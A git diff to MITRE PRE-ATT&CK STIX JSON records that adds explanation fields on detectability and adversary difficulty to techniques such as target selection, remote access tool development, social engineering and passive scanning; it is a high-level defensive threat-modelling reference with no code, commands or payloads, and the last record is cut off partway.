diff --git a/pre-attack/attack-pattern/attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877.json b/pre-attack/attack-pattern/attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877.json
index c2f89dcf7c..1c22d4f4fc 100644
--- a/pre-attack/attack-pattern/attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877.json
+++ b/pre-attack/attack-pattern/attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--394ede88-3909-4ae2-9d00-724e66e7c595",
+    "id": "bundle--6e27a127-8f34-4b93-975f-71d947012a16",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine strategic target",
-            "description": "An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic).  As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic).  As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -44,7 +44,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41.json b/pre-attack/attack-pattern/attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41.json
index 5de23c574d..21334d01a2 100644
--- a/pre-attack/attack-pattern/attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41.json
+++ b/pre-attack/attack-pattern/attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--78dee0bf-a115-4958-9f2f-85cd998623f4",
+    "id": "bundle--d17267a0-950f-4825-8c0d-de21dc3da542",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze organizational skillsets and deficiencies",
-            "description": "Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No access to who is consuming the job postings to know what is being observed.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Job postings have to be made public for contractors and many times have the name of the organization being supported.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No access to who is consuming the job postings to know what is being observed.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Job postings have to be made public for contractors and many times have the name of the organization being supported."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92.json b/pre-attack/attack-pattern/attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92.json
index bee8f62c4e..e5799edf3a 100644
--- a/pre-attack/attack-pattern/attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92.json
+++ b/pre-attack/attack-pattern/attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--742c9069-8faf-438a-87d5-4abafd9a0e27",
+    "id": "bundle--00ff2db2-e4be-45ae-8e4e-a93257048223",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote access tool development",
-            "description": "A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch.  The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch.  The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9.json b/pre-attack/attack-pattern/attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9.json
index e188d3b1c9..aec62f51a3 100644
--- a/pre-attack/attack-pattern/attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9.json
+++ b/pre-attack/attack-pattern/attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--11ae0cb6-58cd-44b5-bb19-3521741baf34",
+    "id": "bundle--f61d2856-6747-487e-8ec5-eac2768a9fb9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Choose pre-compromised persona and affiliated accounts",
-            "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is relatively easy and low cost to purchase compromised credentials.  Mining social media sites offers open source information about a particular target.  Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "It is relatively easy and low cost to purchase compromised credentials.  Mining social media sites offers open source information about a particular target.  Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--9d234df0-2344-4db4-bc0f-8de9c6c071a7.json b/pre-attack/attack-pattern/attack-pattern--9d234df0-2344-4db4-bc0f-8de9c6c071a7.json
index 3ef6b7bb56..4690443b61 100644
--- a/pre-attack/attack-pattern/attack-pattern--9d234df0-2344-4db4-bc0f-8de9c6c071a7.json
+++ b/pre-attack/attack-pattern/attack-pattern--9d234df0-2344-4db4-bc0f-8de9c6c071a7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f373fa0e-4af6-46e3-8aae-429c3f5019b4",
+    "id": "bundle--ec4ff2b1-fb68-4445-a8b7-f86a77bc2e52",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--9d234df0-2344-4db4-bc0f-8de9c6c071a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscate operational infrastructure",
-            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--a16e4004-caac-4a0b-acd5-486f8fda1665.json b/pre-attack/attack-pattern/attack-pattern--a16e4004-caac-4a0b-acd5-486f8fda1665.json
index 87ae4e00e3..e15a41d5f8 100644
--- a/pre-attack/attack-pattern/attack-pattern--a16e4004-caac-4a0b-acd5-486f8fda1665.json
+++ b/pre-attack/attack-pattern/attack-pattern--a16e4004-caac-4a0b-acd5-486f8fda1665.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3c36559f-8c3a-4b91-a325-dd11fdb4a267",
+    "id": "bundle--312869cd-87a3-4941-95ca-bffb27a79284",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a16e4004-caac-4a0b-acd5-486f8fda1665",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Review logs and residual traces",
-            "description": "Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--a1e8d61b-22e1-4983-8485-96420152ecd8.json b/pre-attack/attack-pattern/attack-pattern--a1e8d61b-22e1-4983-8485-96420152ecd8.json
index d25af5cabb..b2e0e85a96 100644
--- a/pre-attack/attack-pattern/attack-pattern--a1e8d61b-22e1-4983-8485-96420152ecd8.json
+++ b/pre-attack/attack-pattern/attack-pattern--a1e8d61b-22e1-4983-8485-96420152ecd8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82b75a44-c190-45cc-b08d-2eec73d018dc",
+    "id": "bundle--cd922edc-972c-451a-933f-1dba6a26e5ca",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a1e8d61b-22e1-4983-8485-96420152ecd8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze hardware/software security defensive capabilities",
-            "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze network traffic to determine security filtering policies, packets dropped, etc.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Analyze network traffic to determine security filtering policies, packets dropped, etc."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--a2fc93cd-e371-4755-9305-2615b6753d91.json b/pre-attack/attack-pattern/attack-pattern--a2fc93cd-e371-4755-9305-2615b6753d91.json
index 335976a923..82a06d5944 100644
--- a/pre-attack/attack-pattern/attack-pattern--a2fc93cd-e371-4755-9305-2615b6753d91.json
+++ b/pre-attack/attack-pattern/attack-pattern--a2fc93cd-e371-4755-9305-2615b6753d91.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9ae0cbdb-bba5-4363-ad3b-6c993d8cfc73",
+    "id": "bundle--07cc92ec-4540-4438-a66a-9d063412412e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a2fc93cd-e371-4755-9305-2615b6753d91",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine external network trust dependencies",
-            "description": "Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEgg)Wikipedia (Citation: KGBComputerMe)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEgg)Wikipedia (Citation: KGBComputerMe)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This is not easily performed remotely and therefore not a detectable event.  If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Determining trust relationships once internal to a network is trivial.  Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.\n\nIf completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. \n\nWith no other access, this is hard for an adversary to do completely from a remote vantage point.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "This is not easily performed remotely and therefore not a detectable event.  If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Determining trust relationships once internal to a network is trivial.  Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.\n\nIf completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. \n\nWith no other access, this is hard for an adversary to do completely from a remote vantage point."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--a425598d-7c19-40f7-9aa3-ac20f0d5c2b2.json b/pre-attack/attack-pattern/attack-pattern--a425598d-7c19-40f7-9aa3-ac20f0d5c2b2.json
index aa61eb0764..7be3b22fba 100644
--- a/pre-attack/attack-pattern/attack-pattern--a425598d-7c19-40f7-9aa3-ac20f0d5c2b2.json
+++ b/pre-attack/attack-pattern/attack-pattern--a425598d-7c19-40f7-9aa3-ac20f0d5c2b2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c96f8255-ba27-4f26-9a87-06c4922fd99b",
+    "id": "bundle--5c27765d-a4b7-4a9a-a86e-66f2dc1f192d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a425598d-7c19-40f7-9aa3-ac20f0d5c2b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create backup infrastructure",
-            "description": "Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--a54a7708-8f64-45f3-ad51-1abf976986a0.json b/pre-attack/attack-pattern/attack-pattern--a54a7708-8f64-45f3-ad51-1abf976986a0.json
index 2697f66f5d..a9a81b921d 100644
--- a/pre-attack/attack-pattern/attack-pattern--a54a7708-8f64-45f3-ad51-1abf976986a0.json
+++ b/pre-attack/attack-pattern/attack-pattern--a54a7708-8f64-45f3-ad51-1abf976986a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--69bfab14-cc56-47b0-b9a0-b50c74d4df0f",
+    "id": "bundle--7ae211bc-57ea-42f9-a6f5-4c3267fb6078",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a54a7708-8f64-45f3-ad51-1abf976986a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Mine technical blogs/forums",
-            "description": "Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Cannot detect access to public sites.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums.  Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Cannot detect access to public sites.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums.  Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5.json b/pre-attack/attack-pattern/attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5.json
index 5fff9b8d2e..547420d61b 100644
--- a/pre-attack/attack-pattern/attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5.json
+++ b/pre-attack/attack-pattern/attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9053c054-8a3b-4e26-94cc-7834d37ec535",
+    "id": "bundle--059e8b13-5333-434f-a1a6-c54d0947cab2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct social engineering",
-            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target.  Any detection would be based upon strong OPSEC policy implementation.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--a7c620e5-cbc9-41b2-9695-418ef560f16c.json b/pre-attack/attack-pattern/attack-pattern--a7c620e5-cbc9-41b2-9695-418ef560f16c.json
index b495cf5fa9..aab4240a64 100644
--- a/pre-attack/attack-pattern/attack-pattern--a7c620e5-cbc9-41b2-9695-418ef560f16c.json
+++ b/pre-attack/attack-pattern/attack-pattern--a7c620e5-cbc9-41b2-9695-418ef560f16c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b249c7af-527f-40f0-b7ed-7181870f2507",
+    "id": "bundle--2f44cff3-4a7a-48a2-93e1-db85adbec270",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--a7c620e5-cbc9-41b2-9695-418ef560f16c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct passive scanning",
-            "description": "Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
